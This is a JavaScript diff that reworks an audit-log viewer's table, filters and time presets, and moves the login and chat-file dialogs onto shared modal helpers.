const q = document.getElementById('audit-filter-q');
|
||||||
const since = document.getElementById('audit-filter-since');
|
|
||||||
const until = document.getElementById('audit-filter-until');
|
|
||||||
if (cat && cat.value) params.set('category', cat.value);
|
if (cat && cat.value) params.set('category', cat.value);
|
||||||
if (act && !act.disabled && act.value) params.set('action', act.value);
|
if (act && !act.disabled && act.value) params.set('action', act.value);
|
||||||
if (res && res.value) params.set('result', res.value);
|
if (res && res.value) params.set('result', res.value);
|
||||||
if (q && q.value.trim()) params.set('q', q.value.trim());
|
if (q && q.value.trim()) params.set('q', q.value.trim());
|
||||||
const sinceISO = since ? auditDatetimeLocalToRFC3339(since.value) : '';
|
const sinceISO = auditDatetimeLocalToRFC3339(getAuditFilterDatetimeValue('audit-filter-since'));
|
||||||
const untilISO = until ? auditDatetimeLocalToRFC3339(until.value) : '';
|
const untilISO = auditDatetimeLocalToRFC3339(getAuditFilterDatetimeValue('audit-filter-until'));
|
||||||
if (sinceISO) params.set('since', sinceISO);
|
if (sinceISO) params.set('since', sinceISO);
|
||||||
if (untilISO) params.set('until', untilISO);
|
if (untilISO) params.set('until', untilISO);
|
||||||
return params.toString();
|
return params.toString();
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadAuditMeta() {
|
|
||||||
if (typeof apiFetch !== 'function') return;
|
|
||||||
const hint = document.getElementById('audit-retention-hint');
|
|
||||||
try {
|
|
||||||
const r = await apiFetch('/api/audit/meta');
|
|
||||||
if (!r.ok) return;
|
|
||||||
const data = await r.json();
|
|
||||||
if (!hint) return;
|
|
||||||
if (!data.enabled) {
|
|
||||||
hint.hidden = false;
|
|
||||||
hint.textContent = auditT('settingsAudit.disabledHint', null, '审计功能已关闭,新操作不会写入审计表。');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const days = data.retention_days;
|
|
||||||
if (days > 0) {
|
|
||||||
hint.hidden = false;
|
|
||||||
hint.textContent = auditT('settingsAudit.retentionHint', { days: days },
|
|
||||||
'审计记录保留 ' + days + ' 天,超期自动清理。');
|
|
||||||
} else {
|
|
||||||
hint.hidden = true;
|
|
||||||
}
|
|
||||||
} catch (_) { /* ignore */ }
|
|
||||||
}
|
|
||||||
|
|
||||||
async function loadAuditSummary() {
|
async function loadAuditSummary() {
|
||||||
if (typeof apiFetch !== 'function') return;
|
if (typeof apiFetch !== 'function') return;
|
||||||
const wrap = document.getElementById('audit-summary-stats');
|
const wrap = document.getElementById('audit-summary-stats');
|
||||||
@@ -191,10 +257,14 @@ async function loadAuditSummary() {
|
|||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
if (wrap) wrap.hidden = false;
|
if (wrap) wrap.hidden = false;
|
||||||
const elTotal = document.getElementById('audit-stat-total');
|
const elTotal = document.getElementById('audit-stat-total');
|
||||||
|
const elSuccess = document.getElementById('audit-stat-success');
|
||||||
const elFail = document.getElementById('audit-stat-failures');
|
const elFail = document.getElementById('audit-stat-failures');
|
||||||
const elRecent = document.getElementById('audit-stat-recent');
|
const elRecent = document.getElementById('audit-stat-recent');
|
||||||
if (elTotal) elTotal.textContent = String(data.total != null ? data.total : 0);
|
const total = data.total != null ? data.total : 0;
|
||||||
if (elFail) elFail.textContent = String(data.failures != null ? data.failures : 0);
|
const failures = data.failures != null ? data.failures : 0;
|
||||||
|
if (elTotal) elTotal.textContent = String(total);
|
||||||
|
if (elSuccess) elSuccess.textContent = String(Math.max(0, total - failures));
|
||||||
|
if (elFail) elFail.textContent = String(failures);
|
||||||
if (elRecent) elRecent.textContent = String(data.recent_7d != null ? data.recent_7d : 0);
|
if (elRecent) elRecent.textContent = String(data.recent_7d != null ? data.recent_7d : 0);
|
||||||
} catch (_) { /* ignore */ }
|
} catch (_) { /* ignore */ }
|
||||||
}
|
}
|
||||||
@@ -214,7 +284,8 @@ async function loadAuditLogs(page) {
|
|||||||
throw new Error(err.error || r.statusText);
|
throw new Error(err.error || r.statusText);
|
||||||
}
|
}
|
||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
renderAuditLogs(data.logs || []);
|
auditLogsCache = data.logs || [];
|
||||||
|
renderAuditLogs(auditLogsCache);
|
||||||
auditLogsTotal = typeof data.total === 'number' ? data.total : 0;
|
auditLogsTotal = typeof data.total === 'number' ? data.total : 0;
|
||||||
const maxPage = Math.max(1, Math.ceil(auditLogsTotal / auditLogsPageSize));
|
const maxPage = Math.max(1, Math.ceil(auditLogsTotal / auditLogsPageSize));
|
||||||
if (auditLogsPage > maxPage) {
|
if (auditLogsPage > maxPage) {
|
||||||
@@ -234,37 +305,57 @@ async function loadAuditLogs(page) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function auditResultTagClass(result) {
|
||||||
|
return result === 'failure' ? 'audit-tag--fail' : 'audit-tag--ok';
|
||||||
|
}
|
||||||
|
|
||||||
function renderAuditLogs(logs) {
|
function renderAuditLogs(logs) {
|
||||||
const listEl = document.getElementById('audit-log-list');
|
const listEl = document.getElementById('audit-log-list');
|
||||||
if (!listEl) return;
|
if (!listEl) return;
|
||||||
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
||||||
if (!logs.length) {
|
if (!logs.length) {
|
||||||
listEl.innerHTML = '<div class="c2-empty">' + esc(auditT('settingsAudit.empty', null, '暂无审计记录')) + '</div>';
|
listEl.innerHTML = '<div class="audit-log-empty">' + esc(auditT('settingsAudit.empty', null, '暂无审计记录')) + '</div>';
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
listEl.innerHTML = logs.map(function (log) {
|
const dash = '<span class="audit-log-cell-muted">—</span>';
|
||||||
const lvl = log.result === 'failure' ? 'warn' : (log.level || 'info');
|
const head = (
|
||||||
|
'<div class="audit-log-table-wrap">' +
|
||||||
|
'<table class="audit-log-table">' +
|
||||||
|
'<thead><tr>' +
|
||||||
|
'<th data-i18n="settingsAudit.colTime">时间</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colMessage">说明</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colCategory">类别</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colAction">操作</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colResult">结果</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colIp">IP</th>' +
|
||||||
|
'<th data-i18n="settingsAudit.colResource">资源 ID</th>' +
|
||||||
|
'</tr></thead><tbody>'
|
||||||
|
);
|
||||||
|
const rows = logs.map(function (log) {
|
||||||
const catLabel = esc(auditCategoryLabel(log.category || ''));
|
const catLabel = esc(auditCategoryLabel(log.category || ''));
|
||||||
const actionLabel = esc(auditActionLabel(log.action || ''));
|
const actionLabel = esc(auditActionLabel(log.action || ''));
|
||||||
const msg = esc(log.message || '');
|
const msg = esc(auditMessageLabel(log));
|
||||||
const ip = esc(log.clientIp || '');
|
const ip = esc(log.clientIp || '');
|
||||||
const when = esc(formatAuditTime(log.createdAt));
|
const when = esc(formatAuditTime(log.createdAt));
|
||||||
const res = esc(log.result || '');
|
const res = esc(auditResultLabel(log.result || ''));
|
||||||
const rid = log.resourceId || '';
|
const rid = log.resourceId ? esc(log.resourceId) : '';
|
||||||
const meta = rid ? (' · ' + esc(rid)) : '';
|
|
||||||
const eid = esc(log.id || '');
|
const eid = esc(log.id || '');
|
||||||
|
const resultCls = auditResultTagClass(log.result || '');
|
||||||
|
const rowClick = 'onclick="showAuditLogDetail(\'' + eid + '\')" ' +
|
||||||
|
'onkeydown="if(event.key===\'Enter\'||event.key===\' \'){event.preventDefault();showAuditLogDetail(\'' + eid + '\')}"';
|
||||||
return (
|
return (
|
||||||
'<div class="c2-event-item audit-log-item" role="button" tabindex="0" ' +
|
'<tr class="audit-log-row" role="button" tabindex="0" ' + rowClick + '>' +
|
||||||
'onclick="showAuditLogDetail(\'' + eid + '\')" ' +
|
'<td class="audit-log-col-time">' + when + '</td>' +
|
||||||
'onkeydown="if(event.key===\'Enter\'||event.key===\' \'){event.preventDefault();showAuditLogDetail(\'' + eid + '\')}">' +
|
'<td class="audit-log-col-msg" title="' + msg + '">' + (msg || dash) + '</td>' +
|
||||||
'<div class="c2-event-level ' + esc(lvl) + '"></div>' +
|
'<td>' + (catLabel ? '<span class="audit-tag audit-tag--cat">' + catLabel + '</span>' : dash) + '</td>' +
|
||||||
'<div class="c2-event-content">' +
|
'<td>' + (actionLabel ? '<span class="audit-tag audit-tag--act">' + actionLabel + '</span>' : dash) + '</td>' +
|
||||||
'<div class="c2-event-message">' + msg + '</div>' +
|
'<td>' + (res ? '<span class="audit-tag ' + resultCls + '">' + res + '</span>' : dash) + '</td>' +
|
||||||
'<div class="c2-event-meta">' + when + ' · ' + catLabel + '/' + actionLabel + ' · ' + res + meta +
|
'<td class="audit-log-col-ip">' + (ip || dash) + '</td>' +
|
||||||
(ip ? ' · IP ' + ip : '') +
|
'<td class="audit-log-col-resource" title="' + rid + '">' + (rid || dash) + '</td>' +
|
||||||
'</div></div></div>'
|
'</tr>'
|
||||||
);
|
);
|
||||||
}).join('');
|
}).join('');
|
||||||
|
listEl.innerHTML = head + rows + '</tbody></table></div>';
|
||||||
if (typeof applyTranslations === 'function') {
|
if (typeof applyTranslations === 'function') {
|
||||||
applyTranslations(listEl);
|
applyTranslations(listEl);
|
||||||
}
|
}
|
||||||
@@ -326,17 +417,58 @@ function resetAuditLogFilters() {
|
|||||||
const act = document.getElementById('audit-filter-action');
|
const act = document.getElementById('audit-filter-action');
|
||||||
const res = document.getElementById('audit-filter-result');
|
const res = document.getElementById('audit-filter-result');
|
||||||
const q = document.getElementById('audit-filter-q');
|
const q = document.getElementById('audit-filter-q');
|
||||||
const since = document.getElementById('audit-filter-since');
|
|
||||||
const until = document.getElementById('audit-filter-until');
|
|
||||||
if (cat) cat.value = '';
|
if (cat) cat.value = '';
|
||||||
if (res) res.value = '';
|
if (res) res.value = '';
|
||||||
if (q) q.value = '';
|
if (q) q.value = '';
|
||||||
if (since) since.value = '';
|
if (typeof window.AuditDatetimePicker !== 'undefined' && typeof window.AuditDatetimePicker.clearAll === 'function') {
|
||||||
if (until) until.value = '';
|
window.AuditDatetimePicker.clearAll();
|
||||||
|
}
|
||||||
rebuildAuditActionSelect();
|
rebuildAuditActionSelect();
|
||||||
|
syncAuditCustomSelect('audit-filter-category');
|
||||||
|
syncAuditCustomSelect('audit-filter-result');
|
||||||
filterAuditLogs();
|
filterAuditLogs();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function applyAuditTimePreset(preset) {
|
||||||
|
if (typeof window.AuditDatetimePicker === 'undefined') return;
|
||||||
|
const now = new Date();
|
||||||
|
let since = new Date(now.getTime());
|
||||||
|
let until = new Date(now.getTime());
|
||||||
|
switch (preset) {
|
||||||
|
case '15m':
|
||||||
|
since = new Date(now.getTime() - 15 * 60 * 1000);
|
||||||
|
break;
|
||||||
|
case '1h':
|
||||||
|
since = new Date(now.getTime() - 60 * 60 * 1000);
|
||||||
|
break;
|
||||||
|
case '24h':
|
||||||
|
since = new Date(now.getTime() - 24 * 60 * 60 * 1000);
|
||||||
|
break;
|
||||||
|
case '7d':
|
||||||
|
since = new Date(now.getTime() - 7 * 24 * 60 * 60 * 1000);
|
||||||
|
break;
|
||||||
|
case 'today':
|
||||||
|
since = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 0, 0, 0, 0);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
window.AuditDatetimePicker.setValue('audit-filter-since', since);
|
||||||
|
window.AuditDatetimePicker.setValue('audit-filter-until', until);
|
||||||
|
filterAuditLogs();
|
||||||
|
}
|
||||||
|
|
||||||
|
function initAuditTimePresets() {
|
||||||
|
const wrap = document.getElementById('audit-time-presets');
|
||||||
|
if (!wrap || wrap.dataset.bound === '1') return;
|
||||||
|
wrap.dataset.bound = '1';
|
||||||
|
wrap.addEventListener('click', function (ev) {
|
||||||
|
const btn = ev.target.closest('[data-preset]');
|
||||||
|
if (!btn) return;
|
||||||
|
applyAuditTimePreset(btn.getAttribute('data-preset'));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
/** 资源已被删除/移除的审计操作,不再提供「打开关联资源」 */
|
/** 资源已被删除/移除的审计操作,不再提供「打开关联资源」 */
|
||||||
const AUDIT_ACTIONS_RESOURCE_REMOVED = {
|
const AUDIT_ACTIONS_RESOURCE_REMOVED = {
|
||||||
delete: true,
|
delete: true,
|
||||||
@@ -533,56 +665,61 @@ async function exportAuditLogsCsv() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeAuditDetailModal() {
|
function closeAuditDetailModal() {
|
||||||
|
closeAppModal('audit-detail-modal');
|
||||||
const el = document.getElementById('audit-detail-modal');
|
const el = document.getElementById('audit-detail-modal');
|
||||||
if (el) el.remove();
|
if (el) el.remove();
|
||||||
|
syncAppModalBodyLock();
|
||||||
}
|
}
|
||||||
|
|
||||||
async function showAuditLogDetail(id) {
|
async function showAuditLogDetail(id) {
|
||||||
if (!id || typeof apiFetch !== 'function') return;
|
if (!id || typeof apiFetch !== 'function') return;
|
||||||
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
const esc = typeof escapeHtml === 'function' ? escapeHtml : function (s) { return String(s || ''); };
|
||||||
try {
|
try {
|
||||||
|
closeAuditDetailModal();
|
||||||
|
const overlay = document.createElement('div');
|
||||||
|
overlay.id = 'audit-detail-modal';
|
||||||
|
overlay.className = 'modal';
|
||||||
|
document.body.appendChild(overlay);
|
||||||
|
openAppModal(overlay, { focus: false });
|
||||||
const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id));
|
const r = await apiFetch('/api/audit/logs/' + encodeURIComponent(id));
|
||||||
if (!r.ok) throw new Error('not found');
|
if (!r.ok) throw new Error('not found');
|
||||||
const data = await r.json();
|
const data = await r.json();
|
||||||
const log = data.log || {};
|
const log = data.log || {};
|
||||||
const detail = log.detail ? JSON.stringify(log.detail, null, 2) : '';
|
const detail = log.detail ? JSON.stringify(log.detail, null, 2) : '';
|
||||||
closeAuditDetailModal();
|
|
||||||
const overlay = document.createElement('div');
|
|
||||||
overlay.id = 'audit-detail-modal';
|
|
||||||
overlay.className = 'modal';
|
|
||||||
overlay.style.display = 'block';
|
|
||||||
const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || ''));
|
const catAction = esc(auditCategoryLabel(log.category || '')) + ' / ' + esc(auditActionLabel(log.action || ''));
|
||||||
overlay.innerHTML =
|
deferModalContent(function () {
|
||||||
'<div class="modal-content" style="max-width: 720px;">' +
|
overlay.innerHTML =
|
||||||
'<div class="modal-header">' +
|
'<div class="modal-content" style="max-width: 720px;">' +
|
||||||
'<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' +
|
'<div class="modal-header">' +
|
||||||
'<span class="modal-close" onclick="closeAuditDetailModal()">×</span>' +
|
'<h2>' + esc(auditT('settingsAudit.detailTitle', null, '审计详情')) + '</h2>' +
|
||||||
'</div>' +
|
'<span class="modal-close" onclick="closeAuditDetailModal()">×</span>' +
|
||||||
'<div class="modal-body audit-detail-body">' +
|
'</div>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' +
|
'<div class="modal-body audit-detail-body">' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailTime', null, '时间')) + ':</strong> ' + esc(formatAuditTime(log.createdAt)) + '</p>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(log.result || '') + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailCategory', null, '类别')) + ':</strong> ' + catAction + '</p>' +
|
||||||
'<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(log.message || '') + '</p>' +
|
'<p><strong>' + esc(auditT('settingsAudit.detailResult', null, '结果')) + ':</strong> ' + esc(auditResultLabel(log.result || '')) + '</p>' +
|
||||||
(log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') +
|
'<p><strong>' + esc(auditT('settingsAudit.detailMessage', null, '说明')) + ':</strong> ' + esc(auditMessageLabel(log)) + '</p>' +
|
||||||
(log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') +
|
(log.clientIp ? '<p><strong>IP:</strong> ' + esc(log.clientIp) + '</p>' : '') +
|
||||||
(log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') +
|
(log.sessionHint ? '<p><strong>' + esc(auditT('settingsAudit.detailSession', null, '会话')) + ':</strong> ' + esc(log.sessionHint) + '</p>' : '') +
|
||||||
auditResourceMeta(log) +
|
(log.userAgent ? '<p><strong>UA:</strong> ' + esc(log.userAgent) + '</p>' : '') +
|
||||||
(detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') +
|
auditResourceMeta(log) +
|
||||||
'</div>' +
|
(detail ? '<pre class="audit-detail-pre">' + esc(detail) + '</pre>' : '') +
|
||||||
'<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' +
|
'</div>' +
|
||||||
esc(auditT('common.close', null, '关闭')) + '</button></div>' +
|
'<div class="modal-footer"><button type="button" class="btn-secondary" onclick="closeAuditDetailModal()">' +
|
||||||
'</div>';
|
esc(auditT('common.close', null, '关闭')) + '</button></div>' +
|
||||||
document.body.appendChild(overlay);
|
'</div>';
|
||||||
const chatBtn = overlay.querySelector('.audit-open-chat-btn');
|
const chatBtn = overlay.querySelector('.audit-open-chat-btn');
|
||||||
if (chatBtn) {
|
if (chatBtn) {
|
||||||
chatBtn.addEventListener('click', function () {
|
chatBtn.addEventListener('click', function () {
|
||||||
auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id'));
|
auditOpenConversationChat(chatBtn.getAttribute('data-conversation-id'));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
overlay.addEventListener('click', function (ev) {
|
||||||
|
if (ev.target === overlay) closeAuditDetailModal();
|
||||||
});
|
});
|
||||||
}
|
|
||||||
overlay.addEventListener('click', function (ev) {
|
|
||||||
if (ev.target === overlay) closeAuditDetailModal();
|
|
||||||
});
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
|
closeAuditDetailModal();
|
||||||
if (typeof showToast === 'function') {
|
if (typeof showToast === 'function') {
|
||||||
showToast(e.message || String(e), 'error');
|
showToast(e.message || String(e), 'error');
|
||||||
}
|
}
|
||||||
@@ -592,7 +729,171 @@ async function showAuditLogDetail(id) {
|
|||||||
function initAuditLogsSection() {
|
function initAuditLogsSection() {
|
||||||
if (!document.getElementById('audit-log-list')) return;
|
if (!document.getElementById('audit-log-list')) return;
|
||||||
initAuditPageSizeFromStorage();
|
initAuditPageSizeFromStorage();
|
||||||
|
initAuditFilterSelects();
|
||||||
rebuildAuditActionSelect();
|
rebuildAuditActionSelect();
|
||||||
loadAuditMeta();
|
if (typeof window.AuditDatetimePicker !== 'undefined' && typeof window.AuditDatetimePicker.init === 'function') {
|
||||||
|
window.AuditDatetimePicker.init();
|
||||||
|
}
|
||||||
|
initAuditTimePresets();
|
||||||
|
updateAuditTimezoneHint();
|
||||||
loadAuditLogs(1);
|
loadAuditLogs(1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function refreshAuditFilterI18n() {
|
||||||
|
const section = document.getElementById('settings-section-audit');
|
||||||
|
if (section && typeof applyTranslations === 'function') {
|
||||||
|
applyTranslations(section);
|
||||||
|
}
|
||||||
|
rebuildAuditActionSelect();
|
||||||
|
syncAuditCustomSelect('audit-filter-category');
|
||||||
|
syncAuditCustomSelect('audit-filter-action');
|
||||||
|
syncAuditCustomSelect('audit-filter-result');
|
||||||
|
updateAuditTimezoneHint();
|
||||||
|
}
|
||||||
|
|
||||||
|
function refreshAuditLogsI18n() {
|
||||||
|
if (!document.getElementById('audit-log-list')) return;
|
||||||
|
refreshAuditFilterI18n();
|
||||||
|
if (auditLogsCache.length) {
|
||||||
|
renderAuditLogs(auditLogsCache);
|
||||||
|
renderAuditLogsPagination();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('languagechange', function () {
|
||||||
|
try {
|
||||||
|
refreshAuditLogsI18n();
|
||||||
|
} catch (e) {
|
||||||
|
console.warn('languagechange audit refresh failed', e);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
var auditCustomSelectMap = {};
|
||||||
|
var auditFilterSelectsDocListener = false;
|
||||||
|
|
||||||
|
function closeAllAuditCustomSelects() {
|
||||||
|
Object.keys(auditCustomSelectMap).forEach(function (id) {
|
||||||
|
auditCustomSelectMap[id].wrapper.classList.remove('open');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function syncAuditCustomSelect(selectId) {
|
||||||
|
var reg = auditCustomSelectMap[selectId];
|
||||||
|
if (!reg) return;
|
||||||
|
var select = reg.select;
|
||||||
|
var dropdown = reg.dropdown;
|
||||||
|
var trigger = reg.trigger;
|
||||||
|
var wrapper = reg.wrapper;
|
||||||
|
var valueSpan = trigger.querySelector('.audit-custom-select-value');
|
||||||
|
|
||||||
|
dropdown.innerHTML = '';
|
||||||
|
Array.prototype.forEach.call(select.options, function (opt) {
|
||||||
|
var item = document.createElement('div');
|
||||||
|
item.className = 'audit-custom-select-option';
|
||||||
|
item.setAttribute('role', 'option');
|
||||||
|
item.setAttribute('data-value', opt.value);
|
||||||
|
if (opt.value === select.value) {
|
||||||
|
item.classList.add('is-selected');
|
||||||
|
item.setAttribute('aria-selected', 'true');
|
||||||
|
}
|
||||||
|
var check = document.createElement('span');
|
||||||
|
check.className = 'audit-custom-select-check';
|
||||||
|
check.setAttribute('aria-hidden', 'true');
|
||||||
|
check.textContent = '✓';
|
||||||
|
var label = document.createElement('span');
|
||||||
|
label.className = 'audit-custom-select-label';
|
||||||
|
label.textContent = opt.textContent;
|
||||||
|
item.appendChild(check);
|
||||||
|
item.appendChild(label);
|
||||||
|
dropdown.appendChild(item);
|
||||||
|
});
|
||||||
|
|
||||||
|
var selectedOpt = select.options[select.selectedIndex];
|
||||||
|
if (valueSpan) {
|
||||||
|
valueSpan.textContent = selectedOpt ? selectedOpt.textContent : '';
|
||||||
|
}
|
||||||
|
trigger.disabled = !!select.disabled;
|
||||||
|
wrapper.classList.toggle('is-disabled', !!select.disabled);
|
||||||
|
}
|
||||||
|
|
||||||
|
function enhanceAuditFilterSelect(selectId) {
|
||||||
|
var select = document.getElementById(selectId);
|
||||||
|
if (!select) return;
|
||||||
|
if (select.dataset.auditCustom === '1') {
|
||||||
|
syncAuditCustomSelect(selectId);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
select.dataset.auditCustom = '1';
|
||||||
|
select.classList.add('audit-native-select');
|
||||||
|
select.tabIndex = -1;
|
||||||
|
select.setAttribute('aria-hidden', 'true');
|
||||||
|
|
||||||
|
var wrapper = document.createElement('div');
|
||||||
|
wrapper.className = 'audit-custom-select';
|
||||||
|
|
||||||
|
var trigger = document.createElement('button');
|
||||||
|
trigger.type = 'button';
|
||||||
|
trigger.className = 'audit-custom-select-trigger';
|
||||||
|
trigger.setAttribute('aria-haspopup', 'listbox');
|
||||||
|
var valueSpan = document.createElement('span');
|
||||||
|
valueSpan.className = 'audit-custom-select-value';
|
||||||
|
trigger.appendChild(valueSpan);
|
||||||
|
var caret = document.createElement('span');
|
||||||
|
caret.className = 'audit-custom-select-caret';
|
||||||
|
caret.setAttribute('aria-hidden', 'true');
|
||||||
|
caret.textContent = '▾';
|
||||||
|
trigger.appendChild(caret);
|
||||||
|
|
||||||
|
var dropdown = document.createElement('div');
|
||||||
|
dropdown.className = 'audit-custom-select-dropdown';
|
||||||
|
dropdown.setAttribute('role', 'listbox');
|
||||||
|
|
||||||
|
var parent = select.parentNode;
|
||||||
|
parent.insertBefore(wrapper, select);
|
||||||
|
wrapper.appendChild(trigger);
|
||||||
|
wrapper.appendChild(dropdown);
|
||||||
|
wrapper.appendChild(select);
|
||||||
|
|
||||||
|
auditCustomSelectMap[selectId] = {
|
||||||
|
wrapper: wrapper,
|
||||||
|
trigger: trigger,
|
||||||
|
dropdown: dropdown,
|
||||||
|
select: select
|
||||||
|
};
|
||||||
|
|
||||||
|
trigger.addEventListener('click', function (e) {
|
||||||
|
e.stopPropagation();
|
||||||
|
if (select.disabled) return;
|
||||||
|
var open = wrapper.classList.contains('open');
|
||||||
|
closeAllAuditCustomSelects();
|
||||||
|
if (!open) wrapper.classList.add('open');
|
||||||
|
});
|
||||||
|
|
||||||
|
dropdown.addEventListener('click', function (e) {
|
||||||
|
var opt = e.target.closest('.audit-custom-select-option');
|
||||||
|
if (!opt) return;
|
||||||
|
var val = opt.getAttribute('data-value');
|
||||||
|
if (val === null) val = '';
|
||||||
|
if (select.value !== val) {
|
||||||
|
select.value = val;
|
||||||
|
select.dispatchEvent(new Event('change', { bubbles: true }));
|
||||||
|
}
|
||||||
|
wrapper.classList.remove('open');
|
||||||
|
syncAuditCustomSelect(selectId);
|
||||||
|
});
|
||||||
|
|
||||||
|
syncAuditCustomSelect(selectId);
|
||||||
|
}
|
||||||
|
|
||||||
|
function initAuditFilterSelects() {
|
||||||
|
if (!document.getElementById('audit-filter-category')) return;
|
||||||
|
if (!auditFilterSelectsDocListener) {
|
||||||
|
document.addEventListener('click', function () {
|
||||||
|
closeAllAuditCustomSelects();
|
||||||
|
});
|
||||||
|
auditFilterSelectsDocListener = true;
|
||||||
|
}
|
||||||
|
enhanceAuditFilterSelect('audit-filter-category');
|
||||||
|
enhanceAuditFilterSelect('audit-filter-action');
|
||||||
|
enhanceAuditFilterSelect('audit-filter-result');
|
||||||
|
}
|
||||||
|
|||||||
@@ -72,7 +72,7 @@ function showLoginOverlay(message = '') {
|
|||||||
if (!overlay) {
|
if (!overlay) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
overlay.style.display = 'flex';
|
openAppModal('login-overlay', { focus: false });
|
||||||
if (errorBox) {
|
if (errorBox) {
|
||||||
if (message) {
|
if (message) {
|
||||||
errorBox.textContent = message;
|
errorBox.textContent = message;
|
||||||
@@ -82,7 +82,7 @@ function showLoginOverlay(message = '') {
|
|||||||
errorBox.style.display = 'none';
|
errorBox.style.display = 'none';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
setTimeout(() => {
|
setTimeout(function () {
|
||||||
if (passwordInput) {
|
if (passwordInput) {
|
||||||
passwordInput.focus();
|
passwordInput.focus();
|
||||||
}
|
}
|
||||||
@@ -93,9 +93,7 @@ function hideLoginOverlay() {
|
|||||||
const overlay = document.getElementById('login-overlay');
|
const overlay = document.getElementById('login-overlay');
|
||||||
const errorBox = document.getElementById('login-error');
|
const errorBox = document.getElementById('login-error');
|
||||||
const passwordInput = document.getElementById('login-password');
|
const passwordInput = document.getElementById('login-password');
|
||||||
if (overlay) {
|
closeAppModal('login-overlay');
|
||||||
overlay.style.display = 'none';
|
|
||||||
}
|
|
||||||
if (errorBox) {
|
if (errorBox) {
|
||||||
errorBox.textContent = '';
|
errorBox.textContent = '';
|
||||||
errorBox.style.display = 'none';
|
errorBox.style.display = 'none';
|
||||||
|
|||||||
+748
-143
File diff suppressed because it is too large
Load Diff
+12
-11
@@ -1002,7 +1002,7 @@ async function openChatFilesEdit(relativePath) {
|
|||||||
const modal = document.getElementById('chat-files-edit-modal');
|
const modal = document.getElementById('chat-files-edit-modal');
|
||||||
if (pathEl) pathEl.textContent = relativePath;
|
if (pathEl) pathEl.textContent = relativePath;
|
||||||
if (ta) ta.value = '';
|
if (ta) ta.value = '';
|
||||||
if (modal) modal.style.display = 'block';
|
openAppModal('chat-files-edit-modal', { focus: false });
|
||||||
|
|
||||||
try {
|
try {
|
||||||
const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath));
|
const res = await apiFetch('/api/chat-uploads/content?path=' + encodeURIComponent(relativePath));
|
||||||
@@ -1017,16 +1017,19 @@ async function openChatFilesEdit(relativePath) {
|
|||||||
throw new Error(errText || res.status);
|
throw new Error(errText || res.status);
|
||||||
}
|
}
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
if (ta) ta.value = data.content != null ? String(data.content) : '';
|
const content = data.content != null ? String(data.content) : '';
|
||||||
|
deferModalContent(() => {
|
||||||
|
if (ta) ta.value = content;
|
||||||
|
ta?.focus();
|
||||||
|
});
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
if (modal) modal.style.display = 'none';
|
closeAppModal('chat-files-edit-modal');
|
||||||
alert(chatFilesAlertMessage(e && e.message));
|
alert(chatFilesAlertMessage(e && e.message));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesEditModal() {
|
function closeChatFilesEditModal() {
|
||||||
const modal = document.getElementById('chat-files-edit-modal');
|
closeAppModal('chat-files-edit-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
chatFilesEditRelativePath = '';
|
chatFilesEditRelativePath = '';
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1060,7 +1063,7 @@ function openChatFilesRename(relativePath, currentName) {
|
|||||||
input.value = currentName || '';
|
input.value = currentName || '';
|
||||||
input.select();
|
input.select();
|
||||||
}
|
}
|
||||||
if (modal) modal.style.display = 'flex';
|
if (modal) openAppModal(modal);
|
||||||
